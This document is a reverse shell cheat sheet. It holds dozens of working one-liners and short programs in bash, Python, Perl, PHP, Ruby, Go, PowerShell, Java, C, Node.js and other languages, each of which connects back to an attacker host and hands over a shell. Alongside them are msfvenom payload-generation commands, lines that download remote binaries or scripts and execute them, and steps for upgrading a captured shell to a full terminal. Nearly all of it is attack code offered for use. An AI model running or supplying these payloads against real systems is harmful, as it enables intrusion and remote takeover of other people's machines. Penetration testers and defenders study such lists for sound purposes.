bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1

sh -i >& /dev/udp/10.0.0.1/4242 0>&1

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

/tmp/socat exec:'bash -li', pty, stderr, setsid, sigint, sane tcp:10.0.0.1:4242

socat file:`tty`, raw, echo=0 TCP-L:4242

perl -e 'use Socket; $IP="10.0.0.1"; $PORT=1234; socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S, sockaddr_in($PORT, inet_aton($IP)))){open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S"); exec("/bin/sh -i");};'

perl -MIO -e '$PORT=fork; exit, if($PORT);$c=new IO::Socket::INET(PeerAddr, "10.0.0.1:1234"); STDIN->fdopen($c, r); $~->fdopen($c, w); system$_ while<>;'

For Windows:
perl -MIO -e '$C=new IO::Socket::INET(PeerAddr, "10.0.0.1:4242"); STDIN->fdopen($C, r); $~->fdopen($C, w); system$_ while<>;'

export RHOST="10.0.0.1"; export RPORT=4242; python -c 'import socket, os, pty; s=socket.socket(); s.connect((os.getenv("RHOST"), int(os.getenv("RPORT")))); [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]; pty.spawn("/bin/sh")'

python -c 'import socket, os, pty; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1", 4242)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); pty.spawn("/bin/sh")'

python -c 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1", 4242)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh", "-i"])'

python -c 'import socket, subprocess; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1", 4242)); subprocess.call(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())'

python -c 'socket=__import__("socket"); os=__import__("os"); pty=__import__("pty"); s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1", 4242)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); pty.spawn("/bin/sh")'

python -c 'socket=__import__("socket"); subprocess=__import__("subprocess"); os=__import__("os"); s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1", 4242)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); subprocess.call(["/bin/sh", "-i"])'

python -c 'socket=__import__("socket"); subprocess=__import__("subprocess"); s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1", 4242)); subprocess.call(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())'

python -c 'a=__import__; s=a("socket"); o=a("os").dup2; p=a("pty").spawn; c=s.socket(s.AF_INET, s.SOCK_STREAM); c.connect(("10.0.0.1", 4242)); f=c.fileno; o(f(), 0); o(f(), 1); o(f(), 2); p("/bin/sh")'

python -c 'a=__import__; b=a("socket"); p=a("subprocess").call; o=a("os").dup2; s=b.socket(b.AF_INET, b.SOCK_STREAM); s.connect(("10.0.0.1", 4242)); f=s.fileno; o(f(), 0); o(f(), 1); o(f(), 2); p(["/bin/sh", "-i"])'

python -c 'a=__import__;b=a("socket"); c=a("subprocess").call; s=b.socket(b.AF_INET, b.SOCK_STREAM); s.connect(("10.0.0.1", 4242)); f=s.fileno; c(["/bin/sh", "-i"], stdin=f(), stdout=f(), stderr=f())'

python -c 'a=__import__; s=a("socket").socket; o=a("os").dup2; p=a("pty").spawn; c=s(); c.connect(("10.0.0.1", 4242)); f=c.fileno; o(f(), 0); o(f(), 1); o(f(), 2); p("/bin/sh")'

python -c 'a=__import__; b=a("socket").socket; p=a("subprocess").call; o=a("os").dup2;s=b(); s.connect(("10.0.0.1", 4242)); f=s.fileno; o(f(), 0); o(f(), 1); o(f(), 2); p(["/bin/sh", "-i"])'

python -c 'a=__import__; b=a("socket").socket; c=a("subprocess").call; s=b(); s.connect(("10.0.0.1", 4242)); f=s.fileno; c(["/bin/sh", "-i"], stdin=f(), stdout=f(), stderr=f())'

python -c 'socket=__import__("socket"); os=__import__("os"); pty=__import__("pty"); s=socket.socket(socket.AF_INET6, socket.SOCK_STREAM); s.connect(("dead:beef:2::125c", 4242, 0, 2)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); pty.spawn("/bin/sh")'

python -c 'socket=__import__("socket"); os=__import__("os"); pty=__import__("pty"); s=socket.socket(socket.AF_INET6, socket.SOCK_STREAM); s.connect(("dead:beef:2::125c", 4242, 0, 2)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); pty.spawn("/bin/sh")'

python -c 'a=__import__; c=a("socket"); o=a("os").dup2; p=a("pty").spawn; s=c.socket(c.AF_INET6, c.SOCK_STREAM); s.connect(("dead:beef:2::125c", 4242, 0, 2)); f=s.fileno; o(f(), 0); o(f(), 1); o(f(), 2); p("/bin/sh")'

python -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

php -r '$sock = fsockopen("10.0.0.1", 4242); exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock = fsockopen("10.0.0.1", 4242); shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock = fsockopen("10.0.0.1", 4242); `/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock = fsockopen("10.0.0.1", 4242); system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock = fsockopen("10.0.0.1", 4242); passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock = fsockopen("10.0.0.1", 4242); popen("/bin/sh -i <&3 >&3 2>&3", "r");'

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1", 4242).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d", f, f, f)'

ruby -rsocket -e'exit if fork; c=TCPSocket.new("10.0.0.1", "4242"); loop{c.gets.chomp!; (exit! if $_=="exit"); ($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1", "4242"); while(cmd=c.gets); IO.popen(cmd, "r"){|io|c.print io.read}end'

echo 'package main; import"os/exec"; import"net"; func main(){c,_:=net.Dial("tcp", "10.0.0.1:4242"); cmd:=exec.Command("/bin/sh"); cmd.Stdin=c; cmd.Stdout=c; cmd.Stderr=c; cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

xterm -display 10.0.0.1:1

Xnest :1

xhost +<Target IP>

netcat -e /bin/sh 10.0.0.1 4242
netcat -e /bin/bash 10.0.0.1 4242
netcat -c bash 10.0.0.1 4242

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.0.0.1 4242 >/tmp/f

rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.0.0.1 4242 >/tmp/f

ncat 10.0.0.1 4242 -e /bin/bash

ncat --udp 10.0.0.1 4242 -e /bin/bash

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4242

ncat --ssl -vv -l -p 4242

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s

# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48

# Server (Attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT

# Client (Victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1", 4242); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush()}; $client.Close()

$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1', 4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242; cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();

String host = "127.0.0.1";
int port = 4444;
String cmd = "cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host, port); InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream(); OutputStream po=p.getOutputStream(), so=s.getOutputStream(); while(!s.isClosed()){while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try {p.exitValue(); break;}catch (Exception e){}}; p.destroy(); s.close();

Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();

In Attacker machine start two listeners:
nc -lvp 8080
nc -lvp 8081

In Victim machine run below command:
telnet <10.0.0.1> 8080 | /bin/sh | telnet <10.0.0.1> 8081

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp
# in order to get the name of the file

lua -e "require('socket'); require('os'); t=socket.tcp(); t:connect('10.0.0.1', '4242'); os.execute('/bin/sh -i <&3 >&3 2>&3');"

lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')

String host = "10.0.0.1";
int port = 4242;
String cmd = "cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host, port); InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()){while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try {p.exitValue(); break;}catch (Exception e){}}; p.destroy(); s.close();

Thread.start {
    // Reverse shell here
}

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4242;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       
}

import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("10.0.0.1", 4242).then((socket) {
    socket.listen((data) {
      Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf > reverse.elf

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf > reverse.elf

$ // msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
$ // msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
$ // msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
$ // msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
$ // msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ // msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ // msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ // msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ // msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ // msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

rlwrap nc 10.0.0.1 4242
rlwrap -r -f . nc 10.0.0.1 4242

-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.

Ctrl + Z
echo $TERM && tput lines && tput cols

# for bash
stty raw -echo
fg

# for zsh
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

socat file:`tty`, raw, echo=0 tcp-listen:12345

/bin/sh -i

python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"

perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

su - user
su: must be run from a terminal

/usr/bin/script -qc /bin/bash /dev/null
su - user

Password: P4ssW0rD

stty raw -echo; (stty size; cat) | nc -lvnp 3001

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001